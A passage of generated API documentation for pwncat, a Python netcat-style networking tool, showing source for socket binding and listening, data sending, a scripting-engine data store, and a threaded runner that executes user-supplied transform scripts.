                    socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM,
                    True,
                    self.__options.ip_tos,
                )
            }
            succ += 1
        except socket.error as err:
            self.__log.debug(err)
    if succ == 0:
        self.__log.error("Socket Error: Could not create any socket.")
        return False

    # [2/4] Resolve local address
    remove = {}
    for family in conns:
        try:
            conns[family]["local_addr"] = self.__sock.gethostbyname(
                host, family, not self.__options.nodns
            )
            conns[family]["local_host"] = host
            conns[family]["local_port"] = port
        except socket.gaierror as err:
            remove[family] = str(err)
    for family in remove:
        self.__log.debug(
            "Removing (family %d/%s) due to: %s",
            family,
            self.__sock.get_family_name(family),
            remove[family],
        )
        self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
        del conns[family]
    if not conns:
        self.__log.error("Resolve Error: Could not resolve any hostname")
        return False

    # [3/4] Bind socket
    remove = {}
    for family in conns:
        try:
            self.__sock.bind(conns[family]["sock"], conns[family]["local_addr"], port)
        except socket.error as err:
            remove[family] = str(err)
    for family in remove:
        self.__log.debug(
            "Removing (family %d/%s) due to: %s",
            family,
            self.__sock.get_family_name(family),
            remove[family],
        )
        self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
        del conns[family]
    if not conns:
        self.__log.error("Bind Error: Could not bind any socket")
        return False

    # [UDP 4/4] There is no listen or accept for UDP
    if self.__options.udp:
        for family in conns:
            conns[family]["conn"] = conns[family]["sock"]
            self.__log.info(
                "Listening on %s:%d (family %d/%s, UDP)",
                conns[family]["local_addr"],
                conns[family]["local_port"],
                family,
                self.__sock.get_family_name(family),
            )
        self.__conns = conns
        self.__udp_mode_server = True
        return True

    # [TCP 4/4] Requires listen and accept
    # (1/3) Listen
    remove = {}
    for family in conns:
        try:
            self.__sock.listen(conns[family]["sock"], self.__options.backlog)
            self.__log.info(
                "Listening on %s:%d (family %d/%s, TCP)",
                conns[family]["local_addr"],
                conns[family]["local_port"],
                family,
                self.__sock.get_family_name(family),
            )
        except socket.error as err:
            remove[family] = str(err)
    for family in remove:
        self.__log.debug(
            "Removing (family %d/%s) due to: %s",
            family,
            self.__sock.get_family_name(family),
            remove[family],
        )
        self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
        del conns[family]
    if not conns:
        self.__log.error("Could not listen on any address")
        return False

    # (2/3) Accept
    remove = {}
    try:
        conn, client = self.__sock.accept(
            [conns[family]["sock"] for family in conns], self.__ssig.has_sock_quit
        )
        conns[conn.family]["conn"] = conn
        conns[conn.family]["remote_addr"] = client[0]
        conns[conn.family]["remote_port"] = client[1]
    except socket.error as err:
        remove = {family: str(err) for family in conns}
    # On error, remove all bind sockets
    for family in remove:
        self.__log.debug(
            "Removing (family %d/%s) due to: %s",
            family,
            self.__sock.get_family_name(family),
            remove[family],
        )
        self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
        del conns[family]
    if not conns:
        return False

    # (3/3) Store connections
    for family in conns:
        if "conn" in conns[family]:
            self.__active = {
                "af": family,
                "conn": conns[family]["conn"],
                "remote_addr": conns[family]["remote_addr"],
                "remote_port": conns[family]["remote_port"],
            }
            for info in self.__sock.get_sock_opts(self.__active["conn"], self.__options.info):
                self.__log.info("[%s] %s", self.__sock.get_family_name(family), info)
    self.__conns = conns
    return True
def send(self, data)

Send data through a connected (TCP) or unconnected (UDP) socket.

Args

data : bytes
The data to send.

Returns

int
Returns total bytes sent.

Raises

socket.error
Except here when unconnected or connection was forcibly closed.
Expand source code 
def send(self, data):
    # type: (bytes) -> int
    """Send data through a connected (TCP) or unconnected (UDP) socket.

    Args:
        data (bytes): The data to send.

    Returns:
        int: Returns total bytes sent.

    Raises:
        socket.error:   Except here when unconnected or connection was forcibly closed.
    """
    # UDP has some specialities as its socket is unconnected.
    # See also recv() for specialities on that side.

    # In case of sending data to an UDP client, we need to initially wait
    # until the client has first connected and told us its addr/port.
    if self.__udp_mode_server:
        # self.__active will be set in recv() by another thread
        if not self.__active:
            self.__log.warning("UDP client has not yet connected. Queueing message")
            while not self.__active:
                if self.__ssig.has_sock_quit():
                    self.__log.trace(  # type: ignore
                        "SOCK-QUIT signal ACK in Net.send (while waiting for UDP client)"
                    )
                    return -1
                time.sleep(0.01)

    curr = 0  # bytes send during one loop iteration
    send = 0  # total bytes send
    size = len(data)  # bytes of data that needs to be send

    # Loop until all bytes have been send
    while send < size:
        self.__log.debug(
            "Trying to send %d bytes to %s:%d",
            size - send,
            self.__active["remote_addr"],
            self.__active["remote_port"],
        )
        self.__log.trace("Trying to send: %s", repr(data))  # type: ignore
        try:
            # Only UDP server has not made a connect() to the socket, all others
            # are already connected and need to use send() instead of sendto()
            if self.__udp_mode_server:
                curr = self.__active["conn"].sendto(
                    data, (self.__active["remote_addr"], self.__active["remote_port"])
                )
                send += curr
            else:
                curr = self.__active["conn"].send(data)
                send += curr
            if curr == 0:
                self.__log.error("No bytes send during loop round.")
                return 0
            # Remove 'curr' many bytes from byte for the next round
            data = data[curr:]
            self.__log.debug(
                "Sent %d bytes to %s:%d (%d bytes remaining)",
                curr,
                self.__active["remote_addr"],
                self.__active["remote_port"],
                size - send,
            )
        except (IOError, OSError, socket.error) as error:
            msg = "Socket send Error: {}".format(error)
            raise socket.error(msg)
    return send
def send_eof(self)

Close the active socket for sending. The remote part will get an EOF.

Expand source code 
def send_eof(self):
    # type: () -> None
    """Close the active socket for sending. The remote part will get an EOF."""
    self.__sock.shutdown_send(self.__active["conn"], "conn")
class PSEStore (ssig, net)

Pwncats Scripting Engine store to persist and exchange data for send/recv scripts.

The same instance of this class will be available to your send and receive scripts that allow you to exchange data or manipulate themselves. You even have access to the currently used instance of the networking class to manipulate the active socket. As well as to the logger and InterruptHandler instances.

Instantiate the PSE class.

Args

ssig : InterruptHandler
Instance InterruptHandler.
net : IONetwork
Instance of the current network class to manipulate the socket.
Expand source code 
class PSEStore(object):
    """Pwncats Scripting Engine store to persist and exchange data for send/recv scripts.

    The same instance of this class will be available to your send and receive scripts
    that allow you to exchange data or manipulate themselves. You even have access to the
    currently used instance of the networking class to manipulate the active socket.
    As well as to the logger and InterruptHandler instances.
    """

    @property
    def messages(self):
        # type: () -> Dict[str, List[bytes]]
        """`Dict[str, List[bytes]]`: Stores sent and received messages by its thread name."""
        return self.__messages

    @messages.setter
    def messages(self, value):
        # type: (Dict[str, List[bytes]]) -> None
        self.__messages = value

    @property
    def store(self):
        # type: () -> Any
        """`Any`: Custom data store to be used in PSE scripts to persist your data between calls."""
        return self.__store

    @store.setter
    def store(self, value):
        # type: (Any) -> None
        self.__store = value

    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: Instance of InterruptHandler class."""
        return self.__ssig

    @property
    def net(self):
        # type: () -> List[IONetwork]
        """`IONetwork`: List of active IONetwork instances (client or server)."""
        return self.__net

    @property
    def log(self):
        # type: () -> logging.Logger
        """`Logging.logger`: Instance of Logging.logger class."""
        return self.__log

    def __init__(self, ssig, net):
        # type: (InterruptHandler, List[IONetwork]) -> None
        """Instantiate the PSE class.

        Args:
            ssig (InterruptHandler): Instance InterruptHandler.
            net (IONetwork): Instance of the current network class to manipulate the socket.
        """
        self.__messages = {}
        self.__store = None
        self.__ssig = ssig
        self.__net = net
        self.__log = logging.getLogger(__name__)

Instance variables

var log

Logging.logger: Instance of Logging.logger class.

Expand source code 
@property
def log(self):
    # type: () -> logging.Logger
    """`Logging.logger`: Instance of Logging.logger class."""
    return self.__log
var messages

Dict[str, List[bytes]]: Stores sent and received messages by its thread name.

Expand source code 
@property
def messages(self):
    # type: () -> Dict[str, List[bytes]]
    """`Dict[str, List[bytes]]`: Stores sent and received messages by its thread name."""
    return self.__messages
var net

IONetwork: List of active IONetwork instances (client or server).

Expand source code 
@property
def net(self):
    # type: () -> List[IONetwork]
    """`IONetwork`: List of active IONetwork instances (client or server)."""
    return self.__net
var ssig

InterruptHandler: Instance of InterruptHandler class.

Expand source code 
@property
def ssig(self):
    # type: () -> InterruptHandler
    """`InterruptHandler`: Instance of InterruptHandler class."""
    return self.__ssig
var store

Any: Custom data store to be used in PSE scripts to persist your data between calls.

Expand source code 
@property
def store(self):
    # type: () -> Any
    """`Any`: Custom data store to be used in PSE scripts to persist your data between calls."""
    return self.__store
class Runner (ssig, fast_quit, pse)

Runner class that takes care about putting everything into threads.

Create a new Runner object.

Args

ssig : InterruptHandler
Instance of InterruptHandler.
fast_quit : boo
On True do not join threads upon exit, just raise terminate and exit.
pse : PSEStore
Pwncat Scripting Engine store.
Expand source code 
class Runner(object):
    """Runner class that takes care about putting everything into threads."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, ssig, fast_quit, pse):
        # type: (InterruptHandler, bool, PSEStore) -> None
        """Create a new Runner object.

        Args:
            ssig (InterruptHandler): Instance of InterruptHandler.
            fast_quit (boo): On `True` do not join threads upon exit, just raise terminate and exit.
            pse (PSEStore): Pwncat Scripting Engine store.
        """
        self.log = logging.getLogger(__name__)

        # Dict of producer/consumer action to run in a thread.
        # Each list item will be run in its own thread
        self.__actions = {}  # type: Dict[str, DsRunnerAction]

        # Dict of timed function definition to run in a thread.
        # Each list item will be run in its own thread.
        self.__timers = {}  # type: Dict[str, DsRunnerTimer]

        # Dict of repeater function definition to run in a thread.
        # Each list item will be run in its own thread.
        self.__repeaters = {}  # type: Dict[str, DsRunnerRepeater]

        # A dict which holds the threads created from actions.
        # The name is based on the __actions name
        # {"name": "<thread>"}
        self.__threads = {}  # type: Dict[str, threading.Thread]

        self.__ssig = ssig
        self.__fast_quit = fast_quit
        self.__pse = pse

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def add_action(self, name, action):
        # type: (str, DsRunnerAction) -> None
        """Add a function to the producer/consumer thread pool runner.

        Args:
            name (str): The name for the added action (will be used for logging the tread name).
            action (DsRunnerAction): Instance of DSRunnerAction.
        """
        self.__actions[name] = action

    def add_timer(self, name, timer):
        # type: (str, DsRunnerTimer) -> None
        """Add a function to the timer thread pool runner.

        Args:
            name (str): The name for the added timer (will be used for logging the thread name).
            timer (DsRunnerTimer): Instance of DsRunnerTimer.
        """
        self.__timers[name] = timer

    def add_repeater(self, name, repeater):
        # type: (str, DsRunnerRepeater) -> None
        """Add a function to the repeater thread pool runner.

        Args:
            name (str): The name for the added repeater (will be used for logging the thread name).
            repeater (DsRunnerRepeater): Instance of DsRunnerRepeater.
        """
        self.__repeaters[name] = repeater

    def run(self):
        # type: () -> None
        """Run threaded pwncat I/O modules."""

        def run_action(
            name,  # type: str
            producer,  # type: DsCallableProducer
            consumer,  # type: Callable[[bytes], None]
            transformers,  # type: List[Transform]
            code,  # type: Optional[Union[str, bytes, CodeType]]
        ):
            # type: (...) -> None
            """Producer/consumer run function to be thrown into a thread.

            Args:
                name (str): Name for logging output.
                producer (function): A generator function which yields data.
                consumer (function): A callback which consumes data from the generator.
                transformers ([function]): List of transformer functions applied before consumer.
                code (ast.AST): User-supplied python code with a transform(data) -> str function.
            """
            self.log.trace("[%s] Producer Start", name)  # type: ignore
            for data in producer.function(*producer.args, **producer.kwargs):
                self.log.trace("[%s] Producer received: %s", name, repr(data))  # type: ignore

                # [1/3] Transform data before sending it to the consumer
                if transformers:
                    for transformer in transformers:
                        data = transformer.transform(data)
                    self.log.trace(  # type: ignore
                        "[%s] Producer data after transformers: %s", name, repr(data)
                    )

                # [2/3] Apply custom user-supplied code transformations
                if code is not None:
                    self.log.debug(
                        "[%s] Executing user supplied transform(data, pse) -> data function", name
                    )
                    pse = self.__pse
                    # Add current message to PSE store
                    if name in self.__pse.messages:
                        self.__pse.messages[name] = self.__pse.messages[name] + [data]
                    else:
                        self.__pse.messages[name] = [data]
                    # Execute script code
                    exec(code, {}, locals())  # pylint: disable=exec-used
                    data = locals()["transform"](data, pse)

                    self.log.trace(  # type: ignore
                        "[%s] Producer data after user supplied transformer: %s", name, repr(data)
                    )

                # [3/3] Consume it
                consumer(data)
            self.log.trace("[%s] Producer Stop", name)  # type: ignore

        def run_timer(name, action, intvl, ssig, *args, **kwargs):
            # type: (str, Callable[..., None], int, InterruptHandler, Any, Any) -> None
            """Timer run function to be thrown into a thread (Execs periodic tasks).

            Args:
                name (str):        Name for logging output
                action (function): Function to be called in a given intervall
                intvl (float):     Intervall at which the action function will be called
                ssig (InterruptHandler): Instance of InterruptHandler
                args (*args):      *args for action func
                kwargs (**kwargs): **kwargs for action func
            """
            self.log.trace("[%s] Timer Start (exec every %f sec)", name, intvl)  # type: ignore
            time_last = int(time.time())
            while True:
                if ssig.has_terminate():
                    self.log.trace(  # type: ignore
                        "TERMINATE signal ACK for timer action [%s]", name
                    )
                    return
                time_now = int(time.time())
                if time_now > time_last + intvl:
                    self.log.debug("[%s] Executing timed function", time_now)
                    action(*args, **kwargs)
                    time_last = time_now  # Reset previous time
                time.sleep(0.1)

        def run_repeater(name, action, repeat, pause, ssig, *args, **kwargs):
            # type: (str, Callable[..., None], int, float, InterruptHandler, Any, Any) -> None
            """Repeater run function to be thrown into a thread (Execs periodic tasks).

            Args:
                name (str):        Name for logging output
                action (function): Function to be called
                repeat (int):      Repeat the function so many times before quitting
                pause (float):     Pause between repeated calls
                ssig (InterruptHandler): Instance of InterruptHandler
                args (*args):      *args for action func
                kwargs (**kwargs): **kwargs for action func
            """
            cycles = 1
            self.log.trace("Repeater Start (%d/%d)", cycles, repeat)  # type: ignore
            while cycles <= repeat:
                if ssig.has_terminate():
                    self.log.trace(  # type: ignore
                        "TERMINATE signal ACK for repeater action [%s]", name
                    )
                    return
                self.log.debug("Executing repeated function (%d/%d)", cycles, repeat)
                action(*args, **kwargs)
                cycles += 1
                time.sleep(pause)

        # [1/3] Start available action in a thread
        for key in self.__actions:
            if self.__ssig.has_terminate():
                self.log.trace("TERMINATE signal ACK for Runner.run [1]: [%s]", key)  # type: ignore
                break
            # Create Thread object
            thread = threading.Thread(
                target=run_action,
                name=key,
                args=(
                    key,
                    self.__actions[key].producer,
                    self.__actions[key].consumer,
                    self.__actions[key].transformers,
                    self.__actions[key].code,
                ),
            )
            # Daemon threads are easier to kill
            thread.daemon = self.__actions[key].daemon_thread

            # Add delay if threads cannot be started
            delay = 0.0
            while True:
                if self.__ssig.has_terminate():
                    self.log.trace(  # type: ignore
                        "TERMINATE signal ACK for Runner.run [2]: [%s]", key
                    )
                    break
                try:
                    # Do not call any logging functions in here as it will
                    # cause a deadlock for Python2
                    # Start and break the loop upon success to go to the next thread to start
                    thread.start()
                    break
                except (RuntimeError, Exception):  # pylint: disable=broad-except
                    delay += 0.1
                    time.sleep(delay)  # Give the system some time to release open fd's
            self.__threads[key] = thread

        # [2/3] Start available timers in a thread
        for key in self.__timers:
            if self.__ssig.has_terminate():
                self.log.trace("TERMINATE signal ACK for Runner.run [2]: [%s]", key)  # type: ignore
                break
            # Create Thread object
            thread = threading.Thread(
                target=run_timer,
                name=key,
                args=(
                    key,
                    self.__timers[key].action,
                    self.__timers[key].intvl,
                    self.__timers[key].ssig,
                )
                + self.__timers[key].args,
                kwargs=self.__timers[key].kwargs,
            )
            thread.daemon = False
            thread.start()

        # [3/3] Start available repeaters in a thread
        for key in self.__repeaters:
            if self.__ssig.has_terminate():
                self.log.trace("TERMINATE signal ACK for Runner.run [3]: [%s]", key)  # type: ignore
                break
            # Create Thread object
            thread = threading.Thread(
                target=run_repeater,
                name=key,
                args=(
                    key,
                    self.__repeaters[key].action,
                    self.__repeaters[key].repeat,
                    self.__repeaters[key].pause,
                    self.__repeaters[key].ssig,
                )
                + self.__repeaters[key].args,
                kwargs=self.__repeaters[key].kwargs,
            )
            thread.daemon = False
            thread.start()

        def check_stop():
            # type: () -> bool
            """Stop threads."""
            # [1/2] Fast shutdown
            # For Python < 3.3 we are unable to detect Ctrl+c signal during thread.join()
            # in a fast loop. Also for port-scan we will have thousands of threads that need
            # to be joined and the signal handler is unable to abort the whole program during that
            # time. Outcome is it would take a few minutes to abort during port scan.
            # The fix is to use a "faster" method to kill the threads.
            # 1. The port scanner threads need to be started in daemon mode
            # 2. the fast_quit param to Runner() must be set to True
            if self.__fast_quit:
                if self.__ssig.has_terminate():
                    self.log.trace("Fast quit - shutting down.")  # type: ignore
                    return True

            # [2/2] Normal shutdown for non-daemon threads
            else:
                for key in self.__threads:
                    if not self.__threads[key].is_alive() or self.__ssig.has_terminate():
                        for interrupt in self.__actions[key].interrupts:
                            # [1/3] Call external interrupters
                            self.log.trace(  # type: ignore
                                "Call INTERRUPT: %s.%s() for %s",
                                getattr(interrupt, "__self__").__class__.__name__,
                                interrupt.__name__,
                                self.__threads[key].getName(),
                            )
                            interrupt()
                            # [2/3] All blocking events inside the threads are gone, now join them
                            try:
                                self.log.trace(  # type: ignore
                                    "Joining %s", self.__threads[key].getName()
                                )
                                # NOTE: The thread.join() operating will also block the signal
                                # handler if we try to join too many threads at once.
                                self.__threads[key].join()
                                self.log.trace(  # type: ignore
                                    "Joined %s", self.__threads[key].getName()
                                )
                            except RuntimeError:
                                pass
            # If all threads are done, also stop
            if all([not self.__threads[key].is_alive() for key in self.__threads]):
                self.log.trace("All threads dead - shutting down.")  # type: ignore
                return True
            return False

        while True:
            if check_stop():
                sys.exit(0)
            # Need a timeout to not skyrocket the CPU
            if sys.version_info < (3, 3):
                # Signal Handler in Python < 3.3 is broken and might not catch on
                # a too small timeout invervall
                time.sleep(0.5)
            else:
                time.sleep(0.01)

Methods

def add_action(self, name, action)

Add a function to the producer/consumer thread pool runner.

Args

name : str
The name for the added action (will be used for logging the tread name).
action : DsRunnerAction
Instance of DSRunnerAction.
Expand source code 
def add_action(self, name, action):
    # type: (str, DsRunnerAction) -> None
    """Add a function to the producer/consumer thread pool runner.

    Args:
        name (str): The name for the added action (will be used for logging the tread name).
        action (DsRunnerAction): Instance of DSRunnerAction.
    """
    self.__actions[name] = action
def add_repeater(self, name, repeater)

Add a function to the repeater thread pool runner.

Args

name : str
The name for the added repeater (will be used for logging the thread name).
repeater : DsRunnerRepeater
Instance of DsRunnerRepeater.
Expand source code 
def add_repeater(self, name, repeater):
    # type: (str, DsRunnerRepeater) -> None
    """Add a function to the repeater thread pool runner.

    Args:
        name (str): The name for the added repeater (will be used for logging the thread name).
        repeater (DsRunnerRepeater): Instance of DsRunnerRepeater.
    """
    self.__repeaters[name] = repeater
def add_timer(self, name, timer)

Add a function to the timer thread pool runner.

Args

name : str
The name for the added timer (will be used for logging the thread name).
timer : DsRunnerTimer
Instance of DsRunnerTimer.
Expand source code 
def add_timer(self, name, timer):
    # type: (str, DsRunnerTimer) -> None
    """Add a function to the timer thread pool runner.

    Args:
        name (str): The name for the added timer (will be used for logging the thread name).
        timer (DsRunnerTimer): Instance of DsRunnerTimer.
    """
    self.__timers[name] = timer
def run(self)

Run threaded pwncat I/O modules.

Expand source code 
def run(self):
    # type: () -> None
    """Run threaded pwncat I/O modules."""

    def run_action(
        name,  # type: str
        producer,  # type: DsCallableProducer
        consumer,  # type: Callable[[bytes], None]
        transformers,  # type: List[Transform]
        code,  # type: Optional[Union[str, bytes, CodeType]]
    ):
        # type: (...) -> None
        """Producer/consumer run function to be thrown into a thread.

        Args:
            name (str): Name for logging output.
            producer (function): A generator function which yields data.
            consumer (function): A callback which consumes data from the generator.
            transformers ([function]): List of transformer functions applied before consumer.
            code (ast.AST): User-supplied python code with a transform(data) -> str function.
        """
        self.log.trace("[%s] Producer Start", name)  # type: ignore
        for data in producer.function(*producer.args, **producer.kwargs):
            self.log.trace("[%s] Producer received: %s", name, repr(data))  # type: ignore

            # [1/3] Transform data before sending it to the consumer
            if transformers:
                for transformer in transformers:
                    data = transformer.transform(data)
                self.log.trace(  # type: ignore
                    "[%s] Producer data after transformers: %s", name, repr(data)
                )

            # [2/3] Apply custom user-supplied code transformations
            if code is not None:
                self.log.debug(
                    "[%s] Executing user supplied transform(data, pse) -> data function", name
                )
                pse = self.__pse
                # Add current message to PSE store
                if name in self.__pse.messages:
                    self.__pse.messages[name] = self.__pse.messages[name] + [data]
                else:
                    self.__pse.messages[name] = [data]
                # Execute script code
                exec(code, {}, locals())  # pylint: disable=exec-used
                data = locals()["transform"](data, pse)

                self.log.trace(  # type: ignore
                    "[%s] Producer data after user supplied transformer: %s", name, repr(data)
                )

            # [3/3] Consume it
            consumer(data)
        self.log.trace("[%s] Producer Stop", name)  # type: ignore

    def run_timer(name, action, intvl, ssig, *args, **kwargs):
        # type: (str, Callable[..., None], int, InterruptHandler, Any, Any) -> None
        """Timer run function to be thrown into a thread (Execs periodic tasks).

        Args:
            name (str):        Name for logging output
            action (function): Function to be called in a given intervall
            intvl (float):     Intervall at which the action function will be called
            ssig (InterruptHandler): Instance of InterruptHandler
            args (*args):      *args for action func
            kwargs (**kwargs): **kwargs for action func
        """
        self.log.trace("[%s] Timer Start (exec every %f sec)", name, intvl)  # type: ignore
        time_last = int(time.time())
        while True:
            if ssig.has_terminate():
                self.log.trace(  # type: ignore
                    "TERMINATE signal ACK for timer action [%s]", name
                )
                return
            time_now = int(time.time())
            if time_now > time_last + intvl:
                self.log.debug("[%s] Executing timed function", time_now)
                action(*args, **kwargs)
                time_last = time_now  # Reset previous time
            time.sleep(0.1)

    def run_repeater(name, action, repeat, pause, ssig, *args, **kwargs):
        # type: (str, Callable[..., None], int, float, InterruptHandler, Any, Any) -> None
        """Repeater run function to be thrown into a thread (Execs periodic tasks).

        Args:
            name (str):        Name for logging output
            action (function): Function to be called
            repeat (int):      Repeat the function so many times before quitting
            pause (float):     Pause between repeated calls
            ssig (InterruptHandler): Instance of InterruptHandler
            args (*args):      *args for action func
            kwargs (**kwargs): **kwargs for action func
        """
        cycles = 1
        self.log.trace("Repeater Start (%d/%d)", cycles, repeat)  # type: ignore
        while cycles <= repeat:
            if ssig.has_terminate():
                self.log.trace(  # type: ignore
                    "TERMINATE signal ACK for repeater action [%s]", name
                )
                return
            self.log.debug("Executing repeated function (%d/%d)", cycles, repeat)
            action(*args, **kwargs)
            cycles += 1
            time.sleep(pause)

    # [1/3] Start available action in a thread
    for key in self.__actions:
        if self.__ssig.has_terminate():
            self.log.trace("TERMINATE signal ACK for Runner.run [1]: [%s]", key)  # type: ignore
            break
        # Create Thread object
        thread = threading.Thread(
            target=run_action,
            name=key,
            args=(
                key,
                self.__actions[key].producer,
                self.__actions[key].consumer,
                self.__actions[key].transformers,
                self.__actions[key].code,
            ),
        )
        # Daemon threads are easier to kill
        thread.daemon = self.__actions[key].daemon_thread

        # Add delay if threads cannot be started
        delay = 0.0
        while True:
            if self.__ssig.has_terminate():
                self.log.trace(  # type: ignore
                    "TERMINATE signal ACK for Runner.run [2]: [%s]", key
                )
                break
            try:
                # Do not call any logging functions in here as it will
                # cause a deadlock for Python2
                # Start and break the loop upon success to go to the next thread to start
                thread.start()
                break
            except (RuntimeError, Exception):  # pylint: disable=broad-except
                delay += 0.1
                time.sleep(delay)  # Give the system some time to release open fd's
        self.__threads[key] = thread

    # [2/3] Start available timers in a thread
    for key in self.__timers:
        if self.__ssig.has_terminate():
            self.log.trace("TERMINATE signal ACK for Runner.run [2]: [%s]", key)  # type: ignore
            break
        # Create Thread object
        thread = threading.Thread(
            target=run_timer,
            name=key,
            args=(
                key,
                self.__timers[key].action,
                self.__timers[key].intvl,
                self.__timers[key].ssig,
            )
            + self.__timers[key].args,
            kwargs=self.__timers[key].kwargs,
        )
        thread.daemon = False
        thread.start()

    # [3/3] Start available repeaters in a thread
    for key in self.__repeaters:
        if self.__ssig.has_terminate():
            self.log.trace("TERMINATE signal ACK for Runner.run [3]: [%s]", key)  # type: ignore
            break
        # Create Thread object
        thread = threading.Thread(
            target=run_repeater,
            name=key,
            args=(
                key,
                self.__repeaters[key].action,
                self.__repeaters[key].repeat,
                self.__repeaters[key].pause,
                self.__repeaters[key].ssig,
            )
            + self.__repeaters[key].args,
            kwargs=self.__repeaters[key].kwargs,
        )
        thread.daemon = False
        thread.start()

    def check_stop():
        # type: () -> bool
        """Stop threads."""
        # [1/2] Fast shutdown
        # For Python < 3.3 we are unable to detect Ctrl+c signal during thread.join()
        # in a fast loop. Also for port-scan we will have thousands of threads that need
        # to be joined and the signal handler is unable to abort the whole program during that
        # time. Outcome is it would take a few minutes to abort during port scan.
        # The fix is to use a "faster" method to kill the threads.
        # 1. The port scanner threads need to be started in daemon mode
        # 2. the fast_quit param to Runner() must be set to True
        if self.__fast_quit:
            if self.__ssig.has_terminate():
                self.log.trace("Fast quit - shutting down.")  # type: ignore
                return True

        # [2/2] Normal shutdown for non-daemon threads
        else:
            for key in self.__threads:
                if not self.__threads[key].is_alive() or self.__ssig.has_terminate():
                    for interrupt in self.__actions[key].interrupts:
                        # [1/3] Call external interrupters
                        self.log.trace(  # type: ignore
                            "Call INTERRUPT: %s.%s() for %s",
                            getattr(interrupt, "__self__").__class__.__name__,
                            interrupt.__name__,
                            self.__threads[key].getName(),
                        )
                        interrupt()
                        # [2/3] All blocking events inside the threads are gone, now join them
                        try:
                            self.log.trace(  # type: ignore
                                "Joining %s", self.__threads[key].getName()
                            )
                            # NOTE: The thread.join() operating will also block the signal
                            # handler if we try to join too many threads at once.
                            self.__threads[key].join()
                            self.log.trace(  # type: ignore
                                "Joined %s", self.__threads[key].getName()
                            )
                        except RuntimeError:
                            pass
        # If all threads are done, also stop
        if all([not self.__threads[key].is_alive() for key in self.__threads]):
            self.log.trace("All threads dead - shutting down.")  # type: ignore
            return True
        return False

    while True:
        if check_stop():
            sys.exit(0)
        # Need a timeout to not skyrocket the CPU
        if sys.version_info < (3, 3):
            # Signal Handler in Python < 3.3 is broken and might not catch on
            # a too small timeout invervall
            time.sleep(0.5)
        else:
            time.sleep(0.01)
class Sock

Thread-safe singleton Socket wrapper to emulate a module within the same file.

Expand source code 
class Sock(_Singleton("SingletonMeta", (object,), {})):  # type: ignore
    """Thread-safe singleton Socket wrapper to emulate a module within the same file."""

    def __init__(self):
        # type: () -> None
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Private constants
    # --------------------------------------------------------------------------
    # For Internet Protocol v4 the value consists of an integer, the least
    # significant 8 bits of which represent the value of the TOS octet in IP
    # packets sent by the socket. RFC 1349 defines the TOS values as follows:
    __IP_TOS = {
        "mincost": 0x02,
        "lowcost": 0x02,
        "reliability": 0x04,
        "throughput": 0x08,
        "lowdelay": 0x10,
    }

    # Human readable address families
    __AF_HUMAN = {
        int(socket.AF_INET): "IPv4",
        int(socket.AF_INET6): "IPv6",
    }

    # Human readable socket types
    __ST_HUMAN = {
        int(socket.SOCK_STREAM): "TCP",
        int(socket.SOCK_DGRAM): "UDP",
    }

    # https://hg.python.org/cpython/file/3.5/Modules/socketmodule.c
    __SOCK_OPTS = {
        "Sock": [
            "SO_DEBUG",
            "SO_ACCEPTCONN",
            "SO_REUSEADDR",
            "SO_EXCLUSIVEADDRUSE",
            "SO_KEEPALIVE",
            "SO_DONTROUTE",
            "SO_BROADCAST",
            "SO_USELOOPBACK",
            "SO_LINGER",
            "SO_OOBINLINE",
            "SO_REUSEPORT",
            "SO_SNDBUF",
            "SO_RCVBUF",
            "SO_SNDLOWAT",
            "SO_RCVLOWAT",
            "SO_SNDTIMEO",
            "SO_RCVTIMEO",
            "SO_ERROR",
            "SO_TYPE",
            "SO_SETFIB",
            "SO_PASSCRED",
            "SO_PEERCRED",
            "LOCAL_PEERCRED",
            "SO_BINDTODEVICE",
            "SO_PRIORITY",
            "SO_MARK",
        ],
        "IPv4": [
            "IP_OPTIONS",
            "IP_HDRINCL",
            "IP_TOS",
            "IP_TTL",
            "IP_RECVOPTS",
            "IP_RECVRETOPTS",
            "IP_RECVDSTADDR",
            "IP_RETOPTS",
            "IP_MULTICAST_IF",
            "IP_MULTICAST_TTL",
            "IP_MULTICAST_LOOP",
            "IP_ADD_MEMBERSHIP",
            "IP_DROP_MEMBERSHIP",
            "IP_DEFAULT_MULTICAST_TTL",
            "IP_DEFAULT_MULTICAST_LOOP",
            "IP_MAX_MEMBERSHIPS",
            "IP_TRANSPARENT",
        ],
        "IPv6": [
            "IPV6_JOIN_GROUP",
            "IPV6_LEAVE_GROUP",
            "IPV6_MULTICAST_HOPS",
            "IPV6_MULTICAST_IF",
            "IPV6_MULTICAST_LOOP",
            "IPV6_UNICAST_HOPS",
            "IPV6_V6ONLY",
            "IPV6_CHECKSUM",
            "IPV6_DONTFRAG",
            "IPV6_DSTOPTS",
            "IPV6_HOPLIMIT",
            "IPV6_HOPOPTS",
            "IPV6_NEXTHOP",
            "IPV6_PATHMTU",
            "IPV6_PKTINFO",
            "IPV6_RECVDSTOPTS",
            "IPV6_RECVHOPLIMIT",
            "IPV6_RECVHOPOPTS",
            "IPV6_RECVPKTINFO",
            "IPV6_RECVRTHDR",
            "IPV6_RECVTCLASS",
            "IPV6_RTHDR",
            "IPV6_RTHDRDSTOPTS",
            "IPV6_RTHDR_TYPE_0",
            "IPV6_RECVPATHMTU",
            "IPV6_TCLASS",
            "IPV6_USE_MIN_MTU",
        ],
        "TCP": [
            "TCP_NODELAY",
            "TCP_MAXSEG",
            "TCP_CORK",
            "TCP_KEEPIDLE",
            "TCP_KEEPINTVL",
            "TCP_KEEPCNT",
            "TCP_SYNCNT",
            "TCP_LINGER2",
            "TCP_DEFER_ACCEPT",
            "TCP_WINDOW_CLAMP",
            "TCP_INFO",
            "TCP_QUICKACK",
            "TCP_FASTOPEN",
        ],
    }

    # --------------------------------------------------------------------------
    # Static methods
    # --------------------------------------------------------------------------
    @staticmethod
    def is_ipv6_address(host):
        # type: (str) -> bool
        """Check if a given str is a valid IPv6 address."""
        # TODO: check for link-local addresses (start with: fe80)
        # https://stackoverflow.com/questions/3801701

        # [1/4] socket.inet_pton
        if hasattr(socket, "inet_pton"):
            try:
